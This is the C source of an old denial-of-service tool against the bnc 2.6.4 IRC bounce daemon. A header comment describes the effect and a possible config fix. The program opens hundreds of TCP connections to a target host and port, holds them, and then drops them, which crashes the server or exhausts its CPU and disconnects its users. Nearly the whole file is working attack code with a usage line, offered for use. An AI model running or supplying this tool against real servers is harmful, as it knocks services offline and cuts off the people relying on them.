/* (*)bnc[2.6.4]: denial of service, by: v9[v9@fakehalo.org].  this is a simple
   way to deny service to the bnc bounce daemon.  when executed successfully,
   will result in the user(s) of the server quitting irc (probably with an "EOF
   From client") and the server crashing or will result in massive cpu usage and
   an eventual ping timeout of the user(s) using the bnc server.

   note: this is a modifcation of another version of my killbnc.c, which yielded
   some different results, and was somewhat less effective.  in some cases it is
   still needed to have unlimited users or a high amount of users to exploit it.

   possible quick fix: "D:*:<low ulimit>:*" in your config file stops immediate
   denial of service in some cases.
*/
#define AMOUNT 256	// (default) connection amount, a few over the top.
#define PAUSE 10	// (default) delay time till dropped/exit. (secs)
#define DELAY 0		// (default) connection delay/intervals. (msecs)
#define TIMEOUT 10	// (default) time to wait for connection.
#include <stdio.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
void timeout(){
 fprintf(stderr,"timeout!\n[status]: connection timeout. (%d)\n",TIMEOUT);
 exit(-1);
}
void killed(){
 fprintf(stderr,"aborted!\n[status]: user aborted.\n");
 exit(-1);
}
int main(int argc,char **argv){
 int i,j=0,k=0,sock,check,amount,pause,delay;
 struct hostent *t;
 struct sockaddr_in s;
 printf("[ (*)bnc[2.6.4]: denial of service, by: v9[v9@fakehalo.org]. ]\n");
 if(argc<3){printf("*** syntax: %s <target> <port> [amount] [exit pause(s)] [interval(ms)].\n",argv[0]);exit(-1);}
 if(argc>3){amount=atoi(argv[3]);}
 else{amount=AMOUNT;}
 if(argc>4){pause=atoi(argv[4]);}
 else{pause=PAUSE;}
 if(argc>5){delay=atoi(argv[5]);}
 else{delay=DELAY;}
 if(s.sin_addr.s_addr=inet_addr(argv[1])){
  if(!(t=gethostbyname(argv[1]))){
   printf("error: couldn't resolve. (%s)\n",argv[1]);
   exit(-1);
  }
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
 }
 s.sin_family=AF_INET;
 s.sin_port=htons(atoi(argv[2]));
 printf("[status]: hitting %s:%d %d time(s), with %dms interval(s).\n",argv[1],atoi(argv[2]),amount,delay);
 fprintf(stderr,"[status]: (. = connected, ! = failed): ");
 signal(SIGINT,killed);
 signal(SIGALRM,timeout);
 for(i=0;i<amount;i++){
  sock=socket(AF_INET,SOCK_STREAM,0);
  alarm(TIMEOUT);
  if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
   fprintf(stderr,"!");
   k++;
  }
  else{
   fprintf(stderr,".");
   j++;
  }
  alarm(0);
  usleep(delay);
 }
 fprintf(stderr,"done!\n[status]: %d connected/%d failed, waiting %d second(s): ",j,k,pause);
 for(i=0;pause>i;i++){
  fprintf(stderr,".");
  sleep(1);
 }
 fprintf(stderr,"dropping!\n[status]: finished.\n");
 close(sock);
 exit(0);
}